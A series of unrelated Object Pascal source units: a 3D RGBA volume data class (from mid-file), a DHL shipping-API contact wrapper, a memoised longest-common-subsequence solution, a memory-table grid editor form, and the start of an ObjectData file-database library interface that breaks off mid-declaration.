(_y * FXSize) + _x] := _value; 2: (FData as TRGBALongDataSet).Blue[(_z * FYxXSize) + (_y * FXSize) + _x] := _value; 3: (FData as TRGBALongDataSet).Alpha[(_z * FYxXSize) + (_y * FXSize) + _x] := _value; end; end; procedure T3DVolumeRGBALongData.SetDefaultColor(_value: TPixelRGBALongData); begin FDefaultColor.r := _value.r; FDefaultColor.g := _value.g; FDefaultColor.b := _value.b; FDefaultColor.a := _value.a; end; // Copies procedure T3DVolumeRGBALongData.Assign(const _Source: TAbstract3DVolumeData); begin inherited Assign(_Source); FDefaultColor.r := (_Source as T3DVolumeRGBALongData).FDefaultColor.r; FDefaultColor.g := (_Source as T3DVolumeRGBALongData).FDefaultColor.g; FDefaultColor.b := (_Source as T3DVolumeRGBALongData).FDefaultColor.b; FDefaultColor.a := (_Source as T3DVolumeRGBALongData).FDefaultColor.a; end; procedure T3DVolumeRGBALongData.CopyData(const _Data: TAbstractDataSet; _DataXSize, _DataYSize, _DataZSize: integer); var x,y,z,ZPos,ZDataPos,Pos,maxPos,DataPos,maxX, maxY, maxZ: integer; begin maxX := min(FXSize,_DataXSize)-1; maxY := min(FYSize,_DataYSize)-1; maxZ := min(FZSize,_DataZSize)-1; for z := 0 to maxZ do begin ZPos := z * FYxXSize; ZDataPos := z * _DataYSize * _DataXSize; for y := 0 to maxY do begin Pos := ZPos + (y * FXSize); DataPos := ZDataPos + (y * _DataXSize); maxPos := Pos + maxX; for x := Pos to maxPos do begin (FData as TRGBALongDataSet).Data[x] := (_Data as TRGBALongDataSet).Data[DataPos]; inc(DataPos); end; end; end; end; // Misc procedure T3DVolumeRGBALongData.ScaleBy(_Value: single); var x,maxx: integer; begin maxx := (FYxXSize * FZSize) - 1; for x := 0 to maxx do begin (FData as TRGBALongDataSet).Red[x] := Round((FData as TRGBALongDataSet).Red[x] * _Value); (FData as TRGBALongDataSet).Green[x] := Round((FData as TRGBALongDataSet).Green[x] * _Value); (FData as TRGBALongDataSet).Blue[x] := Round((FData as TRGBALongDataSet).Blue[x] * _Value); (FData as TRGBALongDataSet).Alpha[x] := Round((FData as TRGBALongDataSet).Alpha[x] * _Value); end; end; procedure T3DVolumeRGBALongData.Invert; var x,maxx: integer; begin maxx := (FYxXSize * FZSize) - 1; for x := 0 to maxx do begin (FData as TRGBALongDataSet).Red[x] := 255 - (FData as TRGBALongDataSet).Red[x]; (FData as TRGBALongDataSet).Green[x] := 255 - (FData as TRGBALongDataSet).Green[x]; (FData as TRGBALongDataSet).Blue[x] := 255 - (FData as TRGBALongDataSet).Blue[x]; (FData as TRGBALongDataSet).Alpha[x] := 255 - (FData as TRGBALongDataSet).Alpha[x]; end; end; procedure T3DVolumeRGBALongData.Fill(_value: longword); var x,maxx: integer; begin maxx := (FYxXSize * FZSize) - 1; for x := 0 to maxx do begin (FData as TRGBALongDataSet).Red[x] := _value; (FData as TRGBALongDataSet).Green[x] := _value; (FData as TRGBALongDataSet).Blue[x] := _value; (FData as TRGBALongDataSet).Alpha[x] := _value; end; end; end.
unit Objekt.DHLCommunication; interface uses SysUtils, Classes, geschaeftskundenversand_api_2; type TDHLCommunication = class private fCommunicationTypeAPI: CommunicationType; fEMail: string; fPhone: string; fContactPerson: string; procedure setContactPerson(const Value: string); procedure setEMail(const Value: string); procedure setPhone(const Value: string); public constructor Create; destructor Destroy; override; function CommunicationTypeAPI: CommunicationType; property Phone: string read fPhone write setPhone; property EMail: string read fEMail write setEMail; property ContactPerson: string read fContactPerson write setContactPerson; end; implementation { TDHLCommunication } constructor TDHLCommunication.Create; begin fCommunicationTypeAPI := CommunicationType.Create; end; destructor TDHLCommunication.Destroy; begin FreeAndNil(fCommunicationTypeAPI); inherited; end; procedure TDHLCommunication.setContactPerson(const Value: string); begin fContactPerson := Value; fCommunicationTypeAPI.contactPerson := Value; end; procedure TDHLCommunication.setEMail(const Value: string); begin fEMail := Value; fCommunicationTypeAPI.email := Value; end; procedure TDHLCommunication.setPhone(const Value: string); begin fPhone := Value; fCommunicationTypeAPI.phone := Value; end; function TDHLCommunication.CommunicationTypeAPI: CommunicationType; begin Result := fCommunicationTypeAPI; end; end.
unit Chapter09._09_Solution1; {$mode objfpc}{$H+} interface uses Classes, SysUtils, Math, DeepStar.UString, DeepStar.Utils; /// LCS问题 /// 记忆化搜索 /// 时间复杂度: O(len(s1)*len(s2)) /// 空间复杂度: O(len(s1)*len(s2)) type TSolution = class(TObject) public function GetLCS(const s1, s2: UString): UString; end; procedure Main; implementation procedure Main; var s1, s2: UString; begin s1 := 'ABCD'; s2 := 'AEBD'; with TSolution.Create do begin WriteLn(GetLCS(s1, s2)); Free; end; end; { TSolution } function TSolution.GetLCS(const s1, s2: UString): UString; var memo: TArr2D_int; // 求s1[0...m]和s2[0...n]的最长公共子序列的长度值 function __LCS__(m, n: integer): integer; var res: integer; begin if (m < 0) or (n < 0) then Exit(0); if memo[m, n] <> -1 then Exit(memo[m, n]); res := 0; if s1.Chars[m] = s2.Chars[n] then res := 1 + __LCS__(m - 1, n - 1) else res := Max(__LCS__(m - 1, n), __LCS__(m, n - 1)); memo[m, n] := res; Result := res; end; // 通过memo反向求解s1和s2的最长公共子序列 function __getLCS__: UString; var m, n: integer; res: UString; begin m := Length(s1) - 1; n := Length(s2) - 1; res := ''; while (m >= 0) and (n >= 0) do begin if s1.Chars[m] = s2.Chars[n] then begin res := s1.Chars[m] + res; m -= 1; n -= 1; end else if m = 0 then n -= 1 else if n = 0 then m -= 1 else begin if memo[m - 1, n] > memo[m, n - 1] then m -= 1 else n -= 1; end; end; Result := res; end; var i, m, n: integer; begin m := Length(s1); n := Length(s2); SetLength(memo, m, n); for i := 0 to High(memo) do TArrayUtils_int.FillArray(memo[i], -1); __LCS__(Length(s1) - 1, Length(s2) - 1); Result := __getLCS__; end; end.
unit MTEdit; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, uCommonForm, Db, Grids, DBGridEh, StdCtrls, Buttons, ExtCtrls, MemTable,uOilQuery,Ora, uOilStoredProc; type TMTEditForm = class(TCommonForm) Panel1: TPanel; bbCancel: TBitBtn; dbg: TDBGridEh; ds: TOraDataSource; sbDel: TSpeedButton; procedure dbgGetCellParams(Sender: TObject; Column: TColumnEh; AFont: TFont; var Background: TColor; State: TGridDrawState); procedure sbDelClick(Sender: TObject); private { Private declarations } public { Public declarations } DEL_STATE: Boolean; end; var MTEditForm: TMTEditForm; procedure EditMT( p_MT: TMemoryTable; p_Caption: string; p_Ops: string = 'IUD'; p_DelState: Boolean = true); implementation {$R *.DFM} //================================================================================= procedure EditMT( p_MT: TMemoryTable; p_Caption: string; p_Ops: string = 'IUD'; p_DelState: Boolean = true); var F: TMTEditForm; i: integer; begin F:=TMTEditForm.Create(Application); F.Caption:=p_Caption; F.ds.DataSet:=p_MT; F.dbg.Columns.AddAllColumns(true); for i:=0 to p_MT.Fields.Count-1 do begin F.dbg.Columns[i].Visible:=p_MT.Fields[i].Visible; if p_MT.Fields[i].ReadOnly then F.dbg.Columns[i].Color:=$00EEEFEF; end; if pos('I',p_Ops)=0 then F.dbg.AllowedOperations:=F.dbg.AllowedOperations-[alopInsertEh]; if pos('I',p_Ops)=0 then F.dbg.AllowedOperations:=F.dbg.AllowedOperations-[alopUpdateEh]; F.sbDel.Visible:=pos('D',p_Ops)<>0; F.DEL_STATE:=p_DelState; F.ShowModal; F.Free; end; //================================================================================= procedure TMTEditForm.dbgGetCellParams(Sender: TObject; Column: TColumnEh; AFont: TFont; var Background: TColor; State: TGridDrawState); begin inherited; if (DEL_STATE) and (ds.DataSet.FieldByName('STATE').AsString='N') then AFont.Color:=clRed; end; //================================================================================= procedure TMTEditForm.sbDelClick(Sender: TObject); var s: string; begin inherited; with ds.DataSet do begin if DEL_STATE then if RecordCount<>0 then begin s:=FieldByName('state').AsString; if s='Y' then s:='N' else s:='Y'; if State=dsBrowse then Edit; FieldByName('state').AsString:=s; Post; end; end; end; //================================================================================= end.
{ ****************************************************************************** } { * Low Object DB Imp library * } { * https://zpascal.net * } { * https://github.com/PassByYou888/zAI * } { * https://github.com/PassByYou888/ZServer4D * } { * https://github.com/PassByYou888/PascalString * } { * https://github.com/PassByYou888/zRasterization * } { * https://github.com/PassByYou888/CoreCipher * } { * https://github.com/PassByYou888/zSound * } { * https://github.com/PassByYou888/zChinese * } { * https://github.com/PassByYou888/zExpression * } { * https://github.com/PassByYou888/zGameWare * } { * https://github.com/PassByYou888/zAnalysis * } { * https://github.com/PassByYou888/FFMPEG-Header * } { * https://github.com/PassByYou888/zTranslate * } { * https://github.com/PassByYou888/InfiniteIoT * } { * https://github.com/PassByYou888/FastMD5 * } { ****************************************************************************** } (* update history 2017-12-6 performance optimization 2018-12-7, reliability optimization, by qq600585 *) unit ObjectData; {$INCLUDE zDefine.inc} interface uses CoreClasses, UnicodeMixedLib; const DB_Version_Size = C_Word_Size; DB_Time_Size = C_Double_Size; DB_Counter_Size = C_Int64_Size; DB_DataSize_Size = C_Int64_Size; DB_Position_Size = C_Int64_Size; DB_ID_Size = C_Byte_Size; DB_Property_Size = C_Cardinal_Size; DB_Level_Size = C_Word_Size; DB_ReservedData_Size = 64; DB_FixedStringL_Size = 1; DB_MajorVersion = 2; DB_MinorVersion = 3; DB_Max_Secursion_Level = 128; DB_FileDescription = 'ObjectDataV2.3'; DB_DefaultField = 'Default-Root'; DB_Path_Delimiter = '/'; DB_Header_Field_ID = 21; DB_Header_Item_ID = 22; DB_Header_First = 11; DB_Header_Medium = 12; DB_Header_Last = 13; DB_Header_1 = 14; DB_Item_1 = 33; DB_Item_First = 34; DB_Item_Medium = 35; DB_Item_Last = 36; {$REGION 'State Code'} { State code } DB_Header_ok = 300; DB_Header_SetPosError = -301; DB_Header_WritePosError = -303; DB_Header_WriteNextPosError = -304; DB_Header_WritePrevPosError = -305; DB_Header_WritePubMainPosError = -306; DB_Header_WriteIDError = -307; DB_Header_WritePositionIDError = -311; DB_Header_WriteNameError = -308; DB_Header_WriteCreateTimeError = -309; DB_Header_WriteLastEditTimeError = -310; DB_Header_WriteUserPropertyIDError = -332; DB_Header_ReadPosError = -321; DB_Header_ReadNextPosError = -322; DB_Header_ReadPrevPosError = -323; DB_Header_ReadPubMainPosError = -324; DB_Header_ReadIDError = -325; DB_Header_ReadPositionIDError = -312; DB_Header_ReadNameError = -326; DB_Header_ReadCreateTimeError = -327; DB_Header_ReadLastEditTimeError = -328; DB_Header_ReadUserPropertyIDError = -331; DB_Header_NotFindHeader = -320; DB_Item_ok = 200; DB_Item_SetPosError = -201; DB_Item_WriteRecDescriptionError = -204; DB_Item_WriteRecExterIDError = -205; DB_Item_WriteFirstBlockPOSError = -206; DB_Item_WriteLastBlockPOSError = -207; DB_Item_WriteRecBuffSizeError = -208; DB_Item_WriteBlockCountError = -209; DB_Item_ReadRecDescriptionError = -214; DB_Item_ReadRecExterIDError = -215; DB_Item_ReadFirstBlockPOSError = -216; DB_Item_ReadLastBlockPOSError = -217; DB_Item_ReadRecBuffSizeError = -218; DB_Item_ReadBlockCountError = -219; DB_Item_WriteItemBlockIDFlagsError = -220; DB_Item_WriteCurrentBlockPOSError = -221; DB_Item_WriteNextBlockPOSError = -222; DB_Item_WritePrevBlockPOSError = -223; DB_Item_WriteDataBlockPOSError = -224; DB_Item_WriteDataBuffSizeError = -225; DB_Item_ReadItemBlockIDFlagsError = -230; DB_Item_ReadCurrentBlockPOSError = -231; DB_Item_ReadNextBlockPOSError = -232; DB_Item_ReadPrevBlockPOSError = -233; DB_Item_ReadDataBlockPOSError = -234; DB_Item_ReadDataBuffSizeError = -235; DB_Item_BlockPositionError = -240; DB_Item_BlockOverrate = -241; DB_Item_BlockReadError = -242; DB_Item_BlockWriteError = -243; DB_Field_ok = 100; DB_Field_SetPosError = -101; DB_Field_WriteHeaderFieldPosError = -103; DB_Field_WriteDescriptionError = -104; DB_Field_WriteCountError = -106; DB_Field_WriteFirstPosError = -107; DB_Field_WriteLastPosError = -108; DB_Field_ReadHeaderFieldPosError = -110; DB_Field_ReadDescriptionError = -111; DB_Field_ReadCountError = -112; DB_Field_ReadFirstPosError = -113; DB_Field_ReadLastPosError = -114; DB_Field_NotInitSearch = -121; DB_Field_DeleteHeaderError = -124; DB_ok = 400; DB_RepOpenPackError = -401; DB_CreatePackError = -402; DB_WriteReservedDataError = -460; DB_WriteNameError = -403; DB_WriteDescriptionError = -404; DB_PositionSeekError = -405; DB_WriteMajorVersionError = -406; DB_WriteMinorVersionError = -407; DB_WriteCreateTimeError = -408; DB_WriteLastEditTimeError = -409; DB_WriteHeaderCountError = -410; DB_WriteDefaultPositionError = -411; DB_WriteFirstPositionError = -412; DB_WriteLastPositionError = -413; DB_WriteFixedStringLError = -462; DB_ReadReservedDataError = -461; DB_ReadNameError = -414; DB_ReadDescriptionError = -415; DB_ReadMajorVersionError = -416; DB_ReadMinorVersionError = -417; DB_ReadCreateTimeError = -418; DB_ReadLastEditTimeError = -419; DB_ReadHeaderCountError = -420; DB_ReadDefaultPositionError = -421; DB_ReadFirstPositionError = -422; DB_ReadLastPositionError = -423; DB_RepCreatePackError = -424; DB_OpenPackError = -425; DB_ClosePackError = -426; DB_ReadFixedStringLError = -431; DB_WriteCurrentPositionError = -427; DB_WriteCurrentLevelError = -428; DB_ReadCurrentPositionError = -429; DB_ReadCurrentLevelError = -430; DB_PathNameError = -440; DB_RepeatCreateItemError = -450; DB_OpenItemError = -451; DB_ItemNameError = -452; DB_RepeatOpenItemError = -453; DB_CloseItemError = -454; DB_ItemStructNotFindDescription = -455; DB_RecursionSearchOver = -456; DB_FileBufferError = -500; DB_CheckIOError = -501; DB_ExceptionError = -502; {$ENDREGION 'State Code'} type THeader = record CurrentHeader: Int64; // nowrite NextHeader, PrevHeader, DataPosition: Int64; // store position ID: Byte; // DB_Header_Field_ID, DB_Header_Item_ID PositionID: Byte; // DB_Header_First, DB_Header_Medium, DB_Header_Last, DB_Header_1 CreateTime, ModificationTime: Double; // time UserProperty: Cardinal; // external define Name: U_String; // header name State: Integer; // nowrite end; PHeader = ^THeader; TItemBlock = record ID: Byte; // block ID CurrentBlockPOS, NextBlockPOS, PrevBlockPOS, DataPosition: Int64; // data pos Size: Int64; // block size State: Integer; // nowrite end; PItemBlock = ^TItemBlock; TItem = record RHeader: THeader; // header Description: U_String; // descript ExtID: Byte; // item external ID FirstBlockPOS, LastBlockPOS: Int64; // item block pos Size: Int64; // size BlockCount: Int64; // block count CurrentBlockSeekPOS: Int64; // nowrite CurrentFileSeekPOS: Int64; // nowrite CurrentItemBlock: TItemBlock; // nowrite DataModification: Boolean; // nowrite State: Integer; // nowrite end; PItem = ^TItem; TField = record RHeader: THeader; // header UpFieldPOS: Int64; // up level field Description: U_String; // description HeaderCount: Int64; // children FirstHeaderPOS, LastHeaderPOS: Int64; // header pos State: Integer; // nowrite end; PField = ^TField; // internal used TFieldSearch = record RHeader: THeader; InitFlags: Boolean; Name: U_String; StartPos, OverPOS: Int64; ID: Byte; PositionID: Byte; State: Integer; end; PObjectDataHandle = ^TObjectDataHandle; // backcall declaration TObjectDataErrorProc = procedure(error: U_String) of object; TObjectDataHeaderDeleteProc = procedure(fPos: Int64) of object; TObjectDataHeaderWriteBeforeProc = procedure(fPos: Int64; var wVal: THeader; var Done: Boolean) of object; TObjectDataHeaderWriteAfterProc = procedure(fPos: Int64; var wVal: THeader) of object; TObjectDataHeaderReadProc = procedure(fPos: Int64; var rVal: THeader; var Done: Boolean) of object; TObjectDataItemBlockWriteBeforeProc = procedure(fPos: Int64; var wVal: TItemBlock; var Done: Boolean) of object; TObjectDataItemBlockWriteAfterProc = procedure(fPos: Int64; var wVal: TItemBlock) of object; TObjectDataItemBlockReadProc = procedure(fPos: Int64; var rVal: TItemBlock; var Done: Boolean) of object; TObjectDataItemWriteBeforeProc = procedure(fPos: Int64; var wVal: TItem; var Done: Boolean) of object; TObjectDataItemWriteAfterProc = procedure(fPos: Int64; var wVal: TItem) of object; TObjectDataItemReadProc = procedure(fPos: Int64; var rVal: TItem; var Done: Boolean) of object; TObjectDataFieldWriteBeforeProc = procedure(fPos: Int64; var wVal: TField; var Done: Boolean) of object; TObjectDataFieldWriteAfterProc = procedure(fPos: Int64; var wVal: TField) of object; TObjectDataFieldReadProc = procedure(fPos: Int64; var rVal: TField; var Done: Boolean) of object; TObjectDataTMDBWriteBeforeProc = procedure(fPos: Int64; const wVal: PObjectDataHandle; var Done: Boolean) of object; TObjectDataTMDBWriteAfterProc = procedure(fPos: Int64; const wVal: PObjectDataHandle) of object; TObjectDataTMDBReadProc = procedure(fPos: Int64; const rVal: PObjectDataHandle; var Done: Boolean) of object; TObjectDataHandle = record IOHnd: TIOHnd; // IO handle ReservedData: array [0 .. DB_ReservedData_Size - 1] of Byte; // file: reserved struct FixedStringL: Byte; // file: fixed string length MajorVer, MinorVer: SmallInt; // file: version info CreateTime, ModificationTime: Double; // file: time RootHeaderCount: Int64; // file: header counter DefaultFieldPOS, FirstHeaderPOS, LastHeaderPOS: Int64; // file: field struct pos CurrentFieldPOS: Int64; // file: current field pos CurrentFieldLevel: Word; // file: current field level OverWriteItem: Boolean; // nowrite AllowSameHeaderName: Boolean; // nowrite State: Integer; // nowrite OnError: TObjectDataErrorProc; // backcall OnDeleteHeader: TObjectDataHeaderDeleteProc; // backcall OnPrepareWriteHeader: TObjectDataHeaderWriteBeforeProc; // backcall OnWriteHeader: TObjectDataHeaderWriteAfterProc; // backcall OnReadHeader: TObjectDataHeaderReadProc; // backcall OnPrepareWriteItemBlock: TObjectDataItemBlockWriteBeforeProc; // backcall OnWriteItemBlock: TObjectDataItemBlockWriteAfterProc; // backcall OnReadItemBlock: TObjectDataItemBlockReadProc; // backcall OnPrepareWriteItem: TObjectDataItemWriteBeforeProc; // backcall OnWriteItem: TObjectDataItemWriteAfterProc; // backcall OnReadItem: TObjectDataItemReadProc; // backcall OnPrepareOnlyWriteItemRec: TObjectDataItemWriteBeforeProc; // backcall OnOnlyWriteItemRec: TObjectDataItemWriteAfterProc; // backcall OnOnlyReadItemRec: TObjectDataItemReadProc; // backcall OnPrepareWriteField: TObjectDataFieldWriteBeforeProc; // backcall OnWriteField: TObjectDataFieldWriteAfterProc; // backcall OnReadField: TObjectDataFieldReadProc; // backcall OnPrepareOnlyWriteFieldRec: TObjectDataFieldWriteBeforeProc; // backcall OnOnlyWriteFieldRec: TObjectDataFieldWriteAfterProc; // backcall OnOnlyReadFieldRec: TObjectDataFieldReadProc; // backcall OnPrepareWriteTMDB: TObjectDataTMDBWriteBeforeProc; // backcall OnWriteTMDB: TObjectDataTMDBWriteAfterProc; // backcall OnReadTMDB: TObjectDataTMDBReadProc; // backcall end; // runtime struct TItemHandle_ = record Item: TItem; Name: U_String; Description: U_String; CreateTime, ModificationTime: Double; ItemExtID: Byte; OpenFlags: Boolean; end; // runtime struct TSearchHeader_ = record Name: U_String; ID: Byte; CreateTime, ModificationTime: Double; HeaderPOS: Int64; CompleteCount: Int64; FieldSearch: TFieldSearch; end; // runtime struct TSearchItem_ = record Name: U_String; Description: U_String; ExtID: Byte; Size: Int64; HeaderPOS: Int64; CompleteCount: Int64; FieldSearch: TFieldSearch; end; // runtime struct TSearchField_ = record Name: U_String; Description: U_String; HeaderCount: Int64; HeaderPOS: Int64; CompleteCount: Int64; FieldSearch: TFieldSearch; end; // runtime struct TRecursionSearch_ = record ReturnHeader: THeader; CurrentField: TField; InitPath: U_String; FilterName: U_String; SearchBuffGo: Integer; SearchBuff: array [0 .. DB_Max_Secursion_Level] of TFieldSearch; end; // internal used function Get_DB_StringL(var IOHnd: TIOHnd): Integer; function Get_DB_HeaderL(var IOHnd: TIOHnd): Integer; function Get_DB_ItemL(var IOHnd: TIOHnd): Integer; function Get_DB_BlockL(var IOHnd: TIOHnd): Integer; function Get_DB_FieldL(var IOHnd: TIOHnd): Integer; function Get_DB_L(var IOHnd: TIOHnd): Integer; function TranslateReturnCode(const ReturnCode: Integer): U_String; // internal: init store struct procedure Init_THeader(var Header_: THeader); procedure Init_TItemBlock(var Block_: TItemBlock); procedure Init_TItem(var Item_: TItem); procedure Init_TField(var Field_: TField); procedure Init_TTMDB(var DB_: TObjectDataHandle); overload; procedure Init_TTMDB(var DB_: TObjectDataHandle; const FixedStringL: Byte); overload; // internal: init runtime struct procedure Init_TFieldSearch(var FieldS_: TFieldSearch); procedure Init_TTMDBItemHandle(var ItemHnd_: TItemHandle_); procedure Init_TTMDBSearchHeader(var SearchHeader_: TSearchHeader_); procedure Init_TTMDBSearchItem(var SearchItem_: TSearchItem_); procedure Init_TTMDBSearchField(var SearchField_: TSearchField_); procedure Init_TTMDBRecursionSearch(var RecursionSearch_: TRecursionSearch_); // internal: header data struct function dbHeader_WriteRec(const fPos: Int64; var IOHnd: TIOHnd; var Header_: THeader): Boolean; function dbHeader_ReadRec(const fPos: Int64; var IOHnd: TIOHnd; var Header_: THeader): Boolean; function dbHeader_ReadReservedRec(const fPos: Int64; var IOHnd: TIOHnd; var Header_: THeader): Boolean; // internal: item data struct, include header function dbItem_WriteRec(const fPos: Int64; var IOHnd: TIOHnd; var Item_: TItem): Boolean; function dbItem_ReadRec(const fPos: Int64; var IOHnd: TIOHnd; var Item_: TItem): Boolean; // internal: field data struct, include header function dbField_WriteRec(const fPos: Int64; var IOHnd: TIOHnd; var Field_: TField): Boolean; function dbField_ReadRec(const fPos: Int64; var IOHnd: TIOHnd; var Field_: TField): Boolean; // internal: item block struct function dbItem_OnlyWriteItemBlockRec(const fPos: Int64; var IOHnd: TIOHnd; var Block_: TItemBlock): Boolean; function dbItem_OnlyReadItemBlockRec(const fPos: Int64; var IOHnd: TIOHnd; var Block_: TItemBlock): Boolean; // internal: DB struct function db_WriteRec(const fPos: Int64; var IOHnd: TIOHnd; var DB_: TObjectDataHandle): Boolean; function db_ReadRec(const fPos: Int64; var IOHnd: TIOHnd; var DB_: TObjectDataHandle): Boolean; // internal: item data struct, no header function dbItem_OnlyWriteItemRec(const fPos: Int64; var IOHnd: TIOHnd; var Item_: TItem): Boolean; function dbItem_OnlyReadItemRec(const fPos: Int64; var IOHnd: TIOHnd; var Item_: TItem): Boolean; // internal: field data struct, no header function dbField_OnlyWriteFieldRec(const fPos: Int64; var IOHnd: TIOHnd; var Field_: TField): Boolean; function dbField_OnlyReadFieldRec(const fPos: Int64; var IOHnd: TIOHnd; var Field_: TField): Boolean; // internal: string match function dbMultipleMatch(const SourStr, DestStr: U_String): Boolean; // internal: find header function dbHeader_FindNext(const Name: U_String; const FirstHeaderPOS, LastHeaderPOS: Int64; var IOHnd: TIOHnd; var Header_: THeader): Boolean; function dbHeader_FindPrev(const Name: U_String; const LastHeaderPOS, FirstHeaderPOS: Int64; var IOHnd: TIOHnd; var Header_: THeader): Boolean; // internal: item block function dbItem_BlockCreate(var IOHnd: TIOHnd; var Item_: TItem): Boolean; function dbItem_BlockInit(var IOHnd: TIOHnd; var Item_: TItem): Boolean; function dbItem_BlockReadData(var IOHnd: TIOHnd; var Item_: TItem; var Buffers; const _Size: Int64): Boolean; function dbItem_BlockAppendWriteData(var IOHnd: TIOHnd; var Item_: TItem; var Buffers; const Size: Int64): Boolean; function dbItem_BlockWriteData(var IOHnd: TIOHnd; var Item_: TItem; var Buffers; const Size: Int64): Boolean; function dbItem_BlockSeekPOS(var IOHnd: TIOHnd; var Item_: TItem; const Position: Int64): Boolean; function dbItem_BlockGetPOS(var IOHnd: TIOHnd; var Item_: TItem): Int64; function dbItem_BlockSeekStartPOS(var IOHnd: TIOHnd; var Item_: TItem): Boolean; function dbItem_BlockSeekLastPOS(var IOHnd: TIOHnd; var Item_: TItem): Boolean; // internal: field and item function dbField_GetPOSField(const fPos: Int64; var IOHnd: TIOHnd): TField; function dbField_GetFirstHeader(const fPos: Int64; var IOHnd: TIOHnd): THeader; function dbField_GetLastHeader(const fPos: Int64; var IOHnd: TIOHnd): THeader; function dbField_OnlyFindFirstName(const Name: U_String; const fPos: Int64; var IOHnd: TIOHnd; var FieldS_: TFieldSearch): Boolean; function dbField_OnlyFindNextName(var IOHnd: TIOHnd; var FieldS_: TFieldSearch): Boolean; function dbField_OnlyFindLastName(const Name: U_String; const fPos: Int64; var IOHnd: TIOHnd; var FieldS_: TFieldSearch): Boolean; function dbField_OnlyFindPrevName(var IOHnd: TIOHnd; var FieldS_: TFieldSearch): Boolean; function dbField_FindFirst(const Name: U_String; const ID: Byte; const fPos: Int64; var IOHnd: TIOHnd; var FieldS_: TFieldSearch): Boolean; function dbField_FindNext(var IOHnd: TIOHnd; var FieldS_: TFieldSearch): Boolean; function dbField_FindLast(const Name: U_String; const ID: Byte; const fPos: Int64; var IOHnd: TIOHnd; var FieldS_: TFieldSearch): Boolean; function dbField_FindPrev(var IOHnd: TIOHnd; var FieldS_: TFieldSearch): Boolean; function dbField_FindFirstItem(const Name: U_String; const ItemExtID: Byte; const fPos: Int64; var IOHnd: TIOHnd; var FieldS_: TFieldSearch; var Item_: TItem): Boolean; overload; function dbField_FindNextItem(const ItemExtID: Byte; var IOHnd: TIOHnd; var FieldS_: TFieldSearch; var Item_: TItem): Boolean; overload; function dbField_FindLastItem(const Name: U_String; const ItemExtID: Byte; const fPos: Int64; var IOHnd: TIOHnd; var FieldS_: TFieldSearch; var Item_: TItem): Boolean; overload; function dbField_FindPrevItem(const ItemExtID: Byte; var IOHnd: TIOHnd; var FieldS_: TFieldSearch; var Item_: TItem): Boolean; overload; function dbField_FindFirstItem(const Name: U_String; const ItemExtID: Byte; const fPos: Int64; var IOHnd: TIOHnd; var FieldS_: TFieldSearch): Boolean; overload; function dbField_FindNextItem(const ItemExtID: Byte; var IOHnd: TIOHnd; var FieldS_: TFieldSearch): Boolean; overload; function dbField_FindLastItem(const Name: U_String; const ItemExtID: Byte; const fPos: Int64; var IOHnd: TIOHnd; var FieldS_: TFieldSearch): Boolean; overload; function dbField_FindPrevItem(const ItemExtID: Byte; var IOHnd: TIOHnd; var FieldS_: TFieldSearch): Boolean; overload; function dbField_ExistItem(const Name: U_String; const ItemExtID: Byte; const fPos: Int64; var IOHnd: TIOHnd): Boolean; function dbField_ExistHeader(const Name: U_String; const ID: Byte; const fPos: Int64; var IOHnd: TIOHnd): Boolean; function dbField_CreateHeader(const Name: U_String; const ID: Byte; const fPos: Int64; var IOHnd: TIOHnd; var Header_: THeader): Boolean; function dbField_InsertNewHeader(const Name: U_String; const ID: Byte; const FieldPos, InsertHeaderPos: Int64; var IOHnd: TIOHnd; var NewHeader: THeader): Boolean; function dbField_DeleteHeader(const HeaderPOS, FieldPos: Int64; var IOHnd: TIOHnd; var Field_: TField): Boolean; function dbField_MoveHeader(const HeaderPOS: Int64; const SourcerFieldPOS, TargetFieldPos: Int64; var IOHnd: TIOHnd; var Field_: TField): Boolean; function dbField_CreateField(const Name: U_String; const fPos: Int64; var IOHnd: TIOHnd; var Field_: TField): Boolean; function dbField_InsertNewField(const Name: U_String; const FieldPos, CurrentInsertPos: Int64; var IOHnd: TIOHnd; var Field_: TField): Boolean; function dbField_CreateItem(const Name: U_String; const ExterID: Byte; const fPos: Int64; var IOHnd: TIOHnd; var Item_: TItem): Boolean; function dbField_InsertNewItem(const Name: U_String; const ExterID: Byte; const FieldPos, CurrentInsertPos: Int64; var IOHnd: TIOHnd; var Item_: TItem): Boolean; function dbField_CopyItem(var Item_: TItem; var IOHnd: TIOHnd; const DestFieldPos: Int64; var DestIOHnd: TIOHnd): Boolean; function dbField_CopyItemBuffer(var Item_: TItem; var IOHnd: TIOHnd; var DestItem_: TItem; var DestIOHnd: TIOHnd): Boolean; function dbField_CopyAllTo(const FilterName: U_String; const FieldPos: Int64; var IOHnd: TIOHnd; const DestFieldPos: Int64; var DestIOHnd: TIOHnd): Boolean; // API function db_CreateNew(const FileName: U_String; var DB_: TObjectDataHandle): Boolean; function db_Open(const FileName: U_String; var DB_: TObjectDataHandle; _OnlyRead: Boolean): Boolean; function db_CreateAsStream(stream: U_Stream; const Name, Description: U_String; var DB_: TObjectDataHandle): Boolean; function db_OpenAsStream(stream: U_Stream; const Name: U_String; var DB_: TObjectDataHandle; _OnlyRead: Boolean): Boolean; function db_ClosePack(var DB_: TObjectDataHandle): Boolean; // API function db_CopyFieldTo(const FilterName: U_String; var DB_: TObjectDataHandle; const SourceFieldPos: Int64; var DestTMDB: TObjectDataHandle; const DestFieldPos: Int64): Boolean; function db_CopyAllTo(var DB_: TObjectDataHandle; var DestTMDB: TObjectDataHandle): Boolean; function db_CopyAllToDestPath(var DB_: TObjectDataHandle; var DestTMDB: TObjectDataHandle; destPath: U_String): Boolean; // API function db_Update(var DB_: TObjectDataHandle): Boolean; // API function db_TestName(const Name: U_String): Boolean; // API function db_CheckRootField(const Name: U_String; var Field_: TField; var DB_: TObjectDataHandle): Boolean; function db_CreateRootHeader(const Name: U_String; const ID: Byte; var DB_: TObjectDataHandle; var Header_: THeader): Boolean; function db_CreateRootField(const Name, Description: U_String; var DB_: TObjectDataHandle): Boolean; function db_CreateAndSetRootField(const Name, Description: U_String; var DB_: TObjectDataHandle): Boolean; function db_CreateField(const pathName, Description: U_String; var DB_: TObjectDataHandle): Boolean; // API function db_SetFieldName(const pathName, OriginFieldName, NewFieldName, FieldDescription: U_String; var DB_: TObjectDataHandle): Boolean; function db_SetItemName(const pathName, OriginItemName, NewItemName, ItemDescription: U_String; var DB_: TObjectDataHandle): Boolean; function db_DeleteField(const pathName, FilterName: U_String; var DB_: TObjectDataHandle): Boolean; // API function db_DeleteHeader(const pathName, FilterName: U_String; const ID: Byte; var DB_: TObjectDataHandle): Boolean; function db_MoveItem(const SourcerPathName, FilterName: U_String; const TargetPathName: U_String; const ItemExtID: Byte; var 